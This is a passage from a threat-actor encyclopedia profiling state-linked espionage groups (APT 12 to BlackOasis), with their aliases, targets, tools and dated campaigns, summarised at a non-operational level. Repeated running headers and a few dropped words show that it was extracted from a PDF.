(Mandiant) Numbered Panda (CrowdStrike) TG-2754 (SecureWorks) BeeBus (FireEye) Calc Team (Symantec) Group 22 (Talos) Crimson Iron (ThreatConnect) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (CrowdStrike) Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. Screen saver files, which are binary executables and PDF documents, are common Numbered Panda weaponization tactics. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. This effectively helps Numbered Panda bypass egress filtering implemented to prevent unauthorized communications on some enterprises. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. Observed Sectors: Defense, Electronics, Government, High-Tech, Telecommunications and journalists. Countries: East Asia (mostly Japan and Taiwan). Tools used AUMLIB, DynCalc/DNSCalc, ETUMBOT, HIGHTIDE, IXESHE, RapidStealer, RIPTIDE, THREEBYTE and WaterSpout. Operations performed Jul 2009 IXESHE campaign Target: East Asian governments, Taiwanese electronics manufacturers and a telecommunications company. May 2011 AUMLIB campaign 2011 ETUMBOT campaign Target: Taiwan Once the malicious file was downloaded and extracted by the victim, Etumbot uses a right-to-left override exploit to trick the victim to download the malware installer. According to Arbor Security, the technique is a simple way for malware writers to disguise names of malicious files. A hidden Unicode character in the filename will reverse the order of the characters that follow it, so that a .scr binary file appears to be a .xls document, for example. Threat Group Cards: A Threat Actor Encyclopedia Oct 2012 Breach of The New York Times For the last four months, Chinese hackers have persistently attacked The New York Times, infiltrating its computer systems and getting passwords for its reporters and other employees. The attack occurred after the New York Times published a story about how the relatives of Wen Jiabao, the sixth Premier of the State Council of the People s Republic of China, accumulated a fortune worth several billion dollars through business dealings. The computers used to launch the attack are believed to be the same university computers used by the Chinese military to attack United States military contractors. Oct 2012 RIPTIDE campaign Spear-phishing on Taiwanese Government Aug 2014 HIGHTIDE campaign Spear-phishing on Taiwanese Government Uses an updated version of ETUMBOT. Aug 2014 THREEBYTE campaign Spear-phishing on Taiwanese Government Aug 2014 WATERSPOUT campaign Spear-phishing on Taiwanese Government Nov 2016 CNACOM campaign On November 7, we spotted a malicious injection on the registration page of a major Taiwanese public service website. An iframe was injected into the footer of the page, which then loaded a unique landing page containing the CVE-2016-0189 exploit code. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 16, SVCMONDR Names APT 16 (Mandiant) SVCMONDR (Kaspersky) Country China Motivation Information theft and espionage Description (FireEye) Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER. Observed Sectors: Financial, Government, High-Tech and Media. Countries: Japan, Taiwan and Thailand. Tools used ELMER, IRONHALO and SVCMONDR. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 17, Deputy Dog Names APT 17 (Mandiant) Tailgater Team (Symantec) Dogfish (iDefense) Deputy Dog (iDefense) Country China Sponsor State-sponsored Motivation Information theft and espionage Description APT 17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. This group appears to be closely associated with Hidden Lynx, Aurora Panda. Observed Sectors: Defense, Government, IT, Mining, NGOs and lawyers. Countries: Belgium, China, Germany, Indonesia, Italy, Japan, Netherlands, Switzerland, Russia, UK and USA. Tools used 9002 RAT, BLACKCOFFEE, DeputyDog, HiKit, PlugX and several 0-days for IE. Operations performed Jul 2012 Breach of Bit9 Bit9, a company that provides software and network security services to the U.S. government and at least 30 Fortune 100 firms, has suffered an electronic compromise that cuts to the core of its business: helping clients distinguish known safe files from computer viruses and other malicious software. Aug 2013 Operation DeputyDog Target: Organizations in Japan Method: Campaign leveraging the then recently announced zero-day CVE-2013-3893. Nov 2013 Operation Ephemeral Hydra Method: Inserting a zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. Aug 2017 Operation RAT Cook Method: Spear-phishing attack using a Game of Thrones lure. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 18, Dynamite Panda, Wekby Names APT 18 (Mandiant) Dynamite Panda (CrowdStrike) TG-0416 (SecureWorks) Wekby (Palo Alto) Scandium (Microsoft) Country China Sponsor State-sponsored, PLA Navy Motivation Information theft and espionage Description Wekby was described by Palo Alto Networks in a 2015 report as: Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of Hacking Team s Flash zero day exploit. This threat group has been seen since 2009. Observed Sectors: Aerospace, Biotechnology, Construction, Defense, Education, Engineering, Healthcare, High-Tech, Telecommunications and Transportation. Countries: USA. Tools used Gh0st RAT, hcdLoader, HTTPBrowser, Pisloader, Roseam, StickyFingers and 0day exploits for Flash. Operations performed Apr 2014 Community Health Systems data breach Jun 2015 Attacks using DNS Requests as Command and Control Mechanism Method: Phishing with obfuscated variants of the HTTPBrowser tool. May 2016 Attacks using DNS Requests as Command and Control Mechanism Target: Organizations in the USA. Method: Phishing with Pisloader dropper. MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 19, C0d0so Names APT 19 (Mandiant) Codoso (CrowdStrike) Sunshop Group (FireEye) Country China Sponsor A group likely composed of freelancers, with some degree of sponsorship by the Chinese government. (FireEye) Motivation Information theft and espionage Description APT 19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. Some analysts track APT19 and DarkHydrus as the same group, but it is unclear from open source information if the groups are the same. Observed Sectors: Defense, Education, Energy, Financial, Government, High-Tech, Manufacturing, Pharmaceutical, Telecommunications, Think Tanks, political dissidents and Forbes. Tools used C0d0so, Cobalt Strike, Empire, Derusbi and a 0-day for Flash. Operations performed Feb 2015 Attack using Forbes.com as Watering Hole Method: Compromise of Forbes.com, in which the site was used to compromise selected targets via a watering hole to a zero-day Adobe Flash exploit. Jan 2016 Several Watering Hole Attacks May 2017 Phishing campaign targeting at least seven global law and investment firms. Method: In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macroenabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload. Jun 2017 Attacks on Australian law firms and research body MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 20, Violin Panda Names APT 20 (FireEye) APT 8 (Mandiant) Violin Panda (Crowdstrike) TH3Bug (Palo Alto) Country China Motivation Information theft and espionage Description (Palo Alto) We ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, th3bug is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language. Observed Sectors: Chemical, Construction, Defense, Energy, Engineering, Financial, Government, Healthcare, High-Tech, Pharmaceutical, Telecommunications and Transportation. Countries: East Asia, Thailand, USA and Uyghur sympathizers. Tools used CAKELOG, CANDYCLOG, CETTRA, COOKIECLOG, PlugX and Poison Ivy. Information Threat Group Cards: A Threat Actor Encyclopedia APT 29, Cozy Bear, The Dukes Names APT 29 (Mandiant) Cozy Bear (CrowdStrike) The Dukes (F-Secure) Group 100 (Talos) Yttrium (Microsoft) Iron Hemlock (SecureWorks) Minidionis (Palo Alto) CloudLook (Kaspersky) Grizzly Steppe (US Government) together with Sofacy, APT 28, Fancy Bear, Sednit Country Russia Sponsor State-sponsored Motivation Information theft and espionage Description (F-Secure) The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States; Asian, African, and Middle Eastern governments; organizations associated with Chechen extremism; and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy break-in followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. In addition to these large-scale campaigns, the Dukes continuously and concurrently engage in smaller, much more targeted campaigns, utilizing different toolsets. These targeted campaigns have been going on for at least 7 years. The targets and timing of these campaigns appear to align with the known foreign and security policy interests of the Russian Federation at those times. Observed Sectors: Defense, Energy, Government, Imagery, Law Enforcement, Media, NGOs, Pharmaceutical, Telecommunications, Think Tanks and Transportation. Countries: Australia, Azerbaijan, Belarus, Belgium, Brazil, Bulgaria, China, Cyprus, Czech, France, Georgia, Germany, Hungary, India, Ireland, Israel, Japan, Kazakhstan, Kyrgyzstan, Latvia, Lebanon, Lithuania, Luxembourg, Mexico, Montenegro, Netherlands, New Zealand, Portugal, Romania, Russia, Slovenia, Spain, South Korea, Turkey, Uganda, Ukraine, USA, Uzbekistan and NATO. Tools used ATI-Agent, CloudDuke, Cobalt Strike, CosmicDuke, CozyDuke, CozyCar, GeminiDuke, HammerDuke, HAMMERTOSS, meek, Mimikatz, MiniDuke, Threat Group Cards: A Threat Actor Encyclopedia OnionDuke, PinchDuke, POSHSPY, PowerDuke, SeaDaddy, SeaDuke and tDiscoverer. Operations performed Feb 2013 Since the original announcement, we have observed several new attacks using the same exploit (CVE-2013-0640) which drop other malware. Between these, we ve observed a couple of incidents which are so unusual in many ways that we-ve decided to analyse them in depth. 2013 While the old style Miniduke implants were used to target mostly government victims, the new style CosmicDuke implants have a somehow different typology of victims. The most unusual is the targeting of individuals that appear to be involved in the traffic and reselling of controlled and illegal substances, such as steroids and hormones. These victims in the NITRO project have been observed only in Russia. Mar 2014 Operation Office monkeys In March 2014, a Washington, D.C.-based private research institute was found to have CozyDuke (Trojan.Cozer) on their network. Cozy Bear then started an email campaign attempting to lure victims into clicking on a flash video of office monkeys that would also include malicious executables. By July the group had compromised government networks and directed CozyDuke-infected systems to install MiniDuke onto a compromised network. Aug 2015 Attack on the Pentagon in the USA In August 2015 Cozy Bear was linked to a spear-phishing cyberattack against the Pentagon email system causing the shutdown of the entire Joint Staff unclassified email system and Internet access during the investigation. Jun 2016 Breach of Democratic National Committee In June 2016, Cozy Bear was implicated alongside the hacker group Sofacy, APT 28, Fancy Bear, Sednit had only been there a few weeks. Cozy Bear's more sophisticated tradecraft and interest in traditional long-term espionage suggest that the group originates from a separate Russian intelligence agency. Aug 2016 Attacks on US think tanks and NGOs After the United States presidential election, 2016, Cozy Bear was linked to a series of coordinated and well-planned spear-phishing campaigns against U.S.-based think tanks and non-governmental organizations (NGOs). Threat Group Cards: A Threat Actor Encyclopedia Counter operations Jan 2017 Attacks on the Norwegian Government On February 3, 2017, the Norwegian Police Security Service (PST) reported that attempts had been made to spear-phish the email accounts of nine individuals in the Ministry of Defense, Ministry of Foreign Affairs, and the Labour Party. The acts were attributed to Cozy Bear, whose targets included the Norwegian Radiation Protection Authority, PST section chief Arne Christian Haugst yl, and an unnamed college. Feb 2017 Attack on Dutch ministries In February 2017, the General Intelligence and Security Service (AIVD) of the Netherlands revealed that Fancy Bear and Cozy Bear had made several attempts to hack into Dutch ministries, including the Ministry of General Affairs, over the previous six months. Rob Bertholee, head of the AIVD, said on EenVandaag that the hackers were Russian and had tried to gain access to secret government documents. Nov 2018 Phishing campaign in the USA Target: Multiple industries, including think tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government, and defense contracting. Method: Phishing email appearing to be from the U.S. Department of State with links to zip files containing malicious Windows shortcuts that delivered Cobalt Strike Beacon. Dutch agencies provide crucial intel about Russia's interference in US-elections (2014) Mueller indicts 12 Russians for DNC hacking as Trump-Putin summit looms (2018) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 30, Override Panda Names APT 30 (Mandiant) Override Panda (CrowdStrik) Country China Sponsor State-sponsored Motivation Information theft and espionage Description APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT 30, the two groups do not appear to be exact matches. (FireEye) When our Singapore-based FireEye labs team examined malware aimed predominantly at entities in Southeast Asia and India, we suspected that we were peering into a regionally focused cyber espionage operation. The malware revealed a decade-long operation focused on targets government and commercial who hold key political, economic, and military information about the region. This group, who we call APT30, stands out not only for their sustained activity and regional focus, but also for their continued success despite maintaining relatively consistent tools, tactics, and infrastructure since at least 2005. Based on our knowledge of APT30's targeting activity and tools, their objective appears to be data theft as opposed to financial gain. APT30 has not been observed to target victims or data that can be readily monetized (for example, credit card data, personally identifiable information, or bank transfer credentials). Instead, their tools include functionality that allows them to identify and steal documents, including what appears to be an interest in documents that may be stored on air-gapped networks. The group expresses a distinct interest in organizations and governments associated with ASEAN, particularly so around the time of official ASEAN meetings. Many of APT30 s decoy documents use topics related to Southeast Asia, India, border areas, and broader security and diplomatic issues. Decoy documents attached to spear phishing emails are frequently indicators of intended targeting because threat actors generally tailor these emails to entice their intended targets who typically work on related issues to click on the attachments and infect themselves. In addition to APT30 s Southeast Asia and India focus, we ve observed APT30 target journalists reporting on issues traditionally considered to be focal points for the Chinese Communist Party s sense of legitimacy, such as corruption, the economy, and human rights. In China, the Communist Party has the ultimate authority over the government. China-based threat groups have targeted journalists before; we believe they often do so to get a better understanding on developing stories to anticipate unfavorable coverage and better position themselves to shape public messaging. Observed Sectors: Defense, Government and ASEAN. Countries: Bhutan, Brunei, Cambodia, India, Indonesia, Japan, Laos, Malaysia, Myanmar, Nepal, Philippines, Saudi Arabia, Singapore, South Korea, Thailand, Vietnam and USA. Threat Group Cards: A Threat Actor Encyclopedia Tool used BACKBEND, BACKSPACE, CREAMSICLE, FLASHFLOOD, GEMCUTTER, MILKMAID, NETEAGLE, ORANGEADE, SHIPSHAPE and SPACESHIP. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 32, OceanLotus, SeaLotus Names APT 32 (Mandiant) OceanLotus (SkyEye Labs) SeaLotus APT-C-00 (360) Ocean Buffalo (CrowdStrike) Country Vietnam Sponsor State-sponsored Motivation Information theft and espionage Description (FireEye) Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam s manufacturing, consumer products, and hospitality sectors. Furthermore, there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations. In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013. Observed Sectors: Government, Hospitality, Manufacturing, Retail, dissidents, journalists and ASEAN. Countries: Australia, Brunei, Cambodia, China, Germany, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, USA and Vietnam. Tool used CACTUSTORCH, Cobalt Strike, Cuegoe, Denis, fingerprintjs2, Goopy, KerrDown, KOMPROGO, Mimikatz, Nishang, OSX_OCEANLOTUS.D, PHOREAL, PowerSploit, Salgorea, SOUNDBITE, Terracotta VPN, WINDSHIELD and 0-day exploits in MS Office. Operations performed Aug 2015 Terracotta VPN Dubbed by RSA as Terracotta VPN (a reference to the Chinese Terracotta Army), this satellite array of VPN services may represent the first exposure of a PRC-based VPN operation that maliciously, efficiently and rapidly enlists vulnerable servers around the world, the company said in a report released today. Mar 2017 Breach of the ASEAN website Steven Adair, founder and CEO, said the hacking group was still active, and had compromised the website of the Association of South East Asian Nations (ASEAN) over several high-profile summit meetings. ASEAN is holding another summit of regional leaders in the Philippines capital Manila this week. May 2017 Operation Cobalt Kitty Dubbed Operation Cobalt Kitty, the APT targeted a global corporation based in Asia with the goal of stealing proprietary business information. The threat actor targeted the company s top-level management by using spear-phishing attacks as the initial penetration vector, ultimately compromising the computers of vice presidents, senior directors and other key personnel in the operational Threat Group Cards: A Threat Actor Encyclopedia departments. During Operation Cobalt Kitty, the attackers compromised more than 40 PCs and servers, including the domain controller, file servers, Web application server and database server. May 2017 Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society In May 2017, Volexity identified and started tracking a very sophisticated and extremely widespread mass digital surveillance and attack campaign targeting several Asian nations, the ASEAN organization, and hundreds of individuals and organizations tied to media, human rights and civil society causes. These attacks are being conducted through numerous strategically compromised websites and have occurred over several high-profile ASEAN summits. Early 2018 KerrDown downloader We identified two methods to deliver the KerrDown downloader to targets. One is using the Microsoft Office Document with a malicious macro and the other is RAR archive which contains a legitimate program with DLL side-loading. For RAR archive files, the file names used to trick targets are all in Vietnamese as shown in Figure 11. Our analysis shows that the primary targets of the ongoing campaign discussed in this blog are either in Vietnam or Vietnamese speaking individuals. Mar 2018 OceanLotus ships new backdoor using old tricks Apr 2018 New MacOS Backdoor The MacOS backdoor was found in a malicious Word document presumably distributed via email. The document bears the filename 2018-PHI U GHI DANH THAM D NH H I HMDC 2018.doc, which translates to 2018-REGISTRATION FORM OF HMDC ASSEMBLY 2018.doc. The document claims to be a registration form for an event with HDMC, an organization in Vietnam that advertises national independence and democracy. Apr 2018 Steganography to Shroud Payloads The OceanLotus APT is using two new loaders which use steganography to read their encrypted payloads. May 2018 Watering Hole Attack using the Phnom Penh Post website The attack started just days after Australian mining magnate Bill Clough sold the newspaper to Malaysian spin doctor Sivakumar Ganapathy, who specializes in covert PR Since last Tuesday [May 8], computers in our office were targeted by a malicious piece of code when we visited the Phnom Penh Post Threat Group Cards: A Threat Actor Encyclopedia website, said Naly Pilorge, director of Licadho one of Cambodia leading human rights groups. Mid-2018 Equation Editor exploit In mid-2018, OceanLotus carried out a campaign using documents abusing the weakness exposed by the CVE-2017-11882 vulnerability. Indeed, several Proofs-of-Concept were made available. The vulnerability resides in the component responsible for rendering and editing mathematical equations. Sep 2018 Watering Hole Attack in Southeast Asia ESET researchers have discovered a new watering hole campaign targeting several websites in Southeast Asia, and that is believed to have been active since September 2018. This campaign stands out because of its large scale, as we were able to identify 21 compromised websites, some of which are particularly notable. Among the compromised websites were the Ministry of Defense of Cambodia, the Ministry of Foreign Affairs and International Cooperation of Cambodia and several Vietnamese newspaper or blog websites. Jan 2019 Self-Extracting archives After using RTF files, the group started using self-extracting (SFX) archives that use common document icons in an attempt to further mislead their victims. It was briefly documented by Threatbook (in Chinese). When run, these self-extracting RAR files drop and execute DLL files (with a .ocx extension) with the final payload being the previously documented {A96B020F-0000-466F-A96DA91BBF8EAC96}.dll. Since the middle of January 2019, OceanLotus began reusing the technique but changed some configuration over time. Mar 2019 macOS malware update Early in March 2019, a new macOS malware sample from the OceanLotus group was uploaded to VirusTotal, a popular online multiscanner service. This backdoor executable bears the same features as the previous macOS variant we looked at, but its structure has changed and its detection was made harder. Unfortunately, we couldn t find the dropper associated with this sample so we do not know the initial compromise vector. Mar 2019 Malicious macro armed documents likely targeting ASEAN affairs and meeting members. Telemetry and spreading statistics related to these decoy documents highlight their diffusion in the geographical area of Thailand. Mar 2019 Breach of Toyota in Australia, Japan, Thailand and Vietnam Threat Group Cards: A Threat Actor Encyclopedia Toyota said the servers that hackers accessed stored sales information on up to 3.1 million customers. The carmaker said there an ongoing investigation to find out if hackers exfiltrated any of the data they had access to. May 2019 Attacks to Indochinese Peninsula In this report, we share our summary of the latest attack techniques, attack payloads and related attacks of the OceanLotus, hoping that we can jointly improve understanding of OceanLotus group, an extremely active APT group. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia APT 33, Elfin Names APT 33 (Mandiant) Elfin (Symantec) Magnallium (Dragos) Country Iran Sponsor State-sponsored Motivation Information theft, espionage and sabotage Description (FireEye) When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON aka Disttrack to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government. APT33 has targeted organizations spanning multiple industries headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production. APT 33 seems to be closely related to OilRig, APT 34, Helix Kitten. Observed Sectors: Aviation, Defense, Energy, Petrochemical and others. Countries: Saudi Arabia, South Korea and USA. Tools used AutoIt backdoor, DarkComet, DROPSHOT, Empire, LaZagne, Mimikatz, NanoCore RAT, NETWIRE RC, PoshC2, PowerSploit, POWERTON, PupyRAT, QuasarRAT, Remcos, Ruler, Shamoon, SHAPESHIFT and TURNEDUP. Mar 2019 Attacks on Multiple Organizations in Saudi Arabia and U.S. The Elfin espionage group (aka APT33) has remained highly active over the past three years, attacking at least 50 organizations in Saudi Arabia, the United States, and a range of other countries. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Axiom, Group 72 Names Axiom (Novetta) Group 72 (Talos) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Talos) Group 72 is a long standing threat actor group involved in Operation SMN, named Axiom by Novetta. The group is sophisticated, well funded, and possesses an established, defined software development methodology. The group targets high profile organizations with high value intellectual property in the manufacturing, industrial, aerospace, defense, media sectors. Geographically, the group almost exclusively targets organizations based in United States, Japan, Taiwan, and Korea. The preferred tactics of the group include watering-hole attacks, spearphishing, and other web-based tactics. The tools and infrastructure used by the attackers are common to a number of other threat actor groups which may indicate some degree of overlap. We have seen similar patterns used in domain registration for malicious domains, and the same tactics used in other threat actor groups leading us to believe that this group may be part of a larger organization that comprises many separate teams, or that different groups share tactics, code and personnel from time to time. Though both this group and Winnti Group, Blackfly, Wicked Panda use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups TTPs and targeting. Observed Sectors: High profile organizations with high value intellectual property in Aerospace, Defense, Industrial, Manufacturing and Media. Countries: Japan, South Korea, Taiwan and USA. Tools used Cobalt Strike, DeputyDog, Derusbi, Gh0st RAT, Hikit, HydraQ, PlugX, Poison Ivy, ShadowPad Winnti and ZXShell. Operations performed 20082014 Information MITRE ATT&CK Operation Axiom is responsible for directing highly sophisticated cyberespionage against numerous Fortune 500 companies, journalists, environmental groups, pro-democracy groups, software companies, academic institutions and government agencies worldwide for at least the last six years. In our coordinated effort, we performed the first ever-private sponsored interdiction against a sophisticated state sponsored advanced threat group. Our efforts detected and cleaned 43,000 separate installations of Axiom tools, including 180 of their top tier implants. Threat Group Cards: A Threat Actor Encyclopedia Bahamut Names Bahamut (Bellingcat) Country [Middle East] Motivation Information theft and espionage Description (Bellingcat) Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017. Later that month, the same tactics and patterns were seen in attempts against an Iranian women s activist individual commonly targeted by Iranian actors, such as Charming Kitten, Newscaster, NewsBeef and the Sima campaign documented in our 2016 Black Hat talk. Recurrent patterns in hostnames, registrations, and phishing scripts provided a strong link between the two incidents, and older attempts were found that directly overlapped with these attacks. Over the course of the following months, several more attempts against the same individuals were observed, intended to steal credentials for iCloud and Gmail accounts. Bahamut was also observed engaging in reconnaissance and counterreconnaissance attempts, intended to harvest IP addresses of emails accounts. One attempt impersonated BBC News Alerts, using timely content related to the diplomatic conflict between Qatar and other Gulf states as bait. This message used external images embedded in the email to track where the lure would be opened. Observed Sectors: Political, economic and social. Countries: Egypt, Iran, Palestine, Qatar, Tunisia, Turkey and UAE. Tools used Bahamut and DownPaper. Operations performed Dec 2016 Beginning in December 2016, unconnected Middle Eastern human rights activists began to receive spear-phishing messages in English and Persian that were not related to any previously-known groups. These attempts differed from other tactics seen by us elsewhere, such as those connected to Iran, with better attention paid to the operation of the campaign. Oct 2017 For three months there was no apparent further activity from the actor. However, in the same week of September a series of spear-phishing attempts once again targeted a set of otherwise unrelated individuals, employing the same tactics as before. Bahamut remains active, and its operations are more extensive than first disclosed. Jun 2018 Cisco Talos has identified a highly targeted campaign against 13 iPhones which appears to be focused on India. The attacker deployed an open-source mobile device management (MDM) system to control enrolled devices. Jul 2018 The Bahamut group was discovered and detailed by Bellingcat, an open-source news website. In this post, the author was discussing Android-based malware with some similarities to the iOS malware we Threat Group Cards: A Threat Actor Encyclopedia identified. That post kickstarted our investigation into any potential overlap between these campaigns and how they are potentially linked. The new MDM platform we identified has similar victimology with Middle Eastern targets, namely Qatar, using a U.K. mobile number issued from LycaMobile. Bahamut targeted similar Qatar-based individuals during their campaign. Threat Group Cards: A Threat Actor Encyclopedia Barium Names Barium (Microsoft) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Microsoft) Barium begins its attacks by cultivating relationships with potential victims particularly those working in Business Development or Human Resources on various social media platforms. Once Barium has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred. Observed Sectors: Multimedia, Online video game companies and Technology. Tools used Barlaiy, Cobalt Strike, PlugXL and Winnti. Operations performed Jul 2017 ShadowPad is one of the largest known supply-chain attacks. Had it not been detected and patched so quickly, it could potentially have targeted hundreds of organizations worldwide. Jun 2018 Operation ShadowHammer A supply-chain attack dubbed Operation ShadowHammer has been uncovered, targeting users of the ASUS Live Update Utility with a backdoor injection. The China-backed BARIUM APT is suspected to be at the helm of the project. According to Kaspersky Lab, the campaign ran from June to at least November 2018 and may have impacted more than a million users worldwide though the adversaries appear to have been after specific victims in Asia. Sep 2018 CCleaner supply-chain attack Talos recently observed a case where the download servers used by software vendor to distribute a legitimate software package were leveraged to deliver malware to unsuspecting victims. For a period of time, the legitimate signed version of CCleaner 5.33 being distributed by Avast also contained a multi-stage malware payload that rode on top of the installation of CCleaner. Counter operations Microsoft Asks Judge to Take Down Barium Hackers (2017) Threat Group Cards: A Threat Actor Encyclopedia Information Threat Group Cards: A Threat Actor Encyclopedia Berserk Bear, Dragonfly 2.0 Names Berserk Bear (CrowdStrike) Dragonfly 2.0 (Symantec) Dymalloy (Dragos) Country Russia Motivation Sabotage and destruction Description Dragonfly 2.0 is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. There is debate over the extent of overlap between Dragonfly 2.0 and Energetic Bear, Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups. Observed Sectors: Energy. Countries: Germany, Switzerland and Turkey and USA. Tools used Bitsadmin, Goodor, Impacket, Karagany and Phisherly. Operations performed Dec 2015 Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2015 and has identified a distinct increase in activity in 2017. May 2017 Attack on nuclear facilities in the US Since May, hackers have been penetrating the computer networks of companies that operate nuclear power stations and other energy facilities, as well as manufacturing plants in the United States and other countries. Among the companies targeted was the Wolf Creek Nuclear Operating Corporation, which runs a nuclear power plant near Burlington, Kan., according to security consultants and an urgent joint report issued by the Department of Homeland Security and the Federal Bureau of Investigation last week. May 2017 Attacks on critical infrastructure and energy companies around the world Since at least May 2017, Talos has observed attackers targeting critical infrastructure and energy companies around the world, primarily in Europe and the United States. These attacks target both the critical infrastructure providers, and the vendors those providers use to deliver critical services. Attacks on critical infrastructure are not a new concern for security researchers, as adversaries are keen to understand critical infrastructure ICS networks for reasons unknown, but surely nefarious. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Blackgear Names Blackgear (Trend Micro) Topgear Country China Motivation Information theft and espionage Description (Trend Micro) Blackgear is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, Blackgear has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity. Observed Countries: Japan, South Korea and Taiwan. Tools used Comnie, Elirks and Protux. Operations performed Jul 2018 Information Resurfaces, Abuses Social Media for C&C Communication Threat Group Cards: A Threat Actor Encyclopedia BlackOasis Names BlackOasis (Kaspersky) Country [Middle East] Motivation Information theft and espionage Description BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. A group known by Microsoft as Neodymium is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. Observed Sectors: Media, Think Tanks, activists and the UN. Countries: Afghanistan, 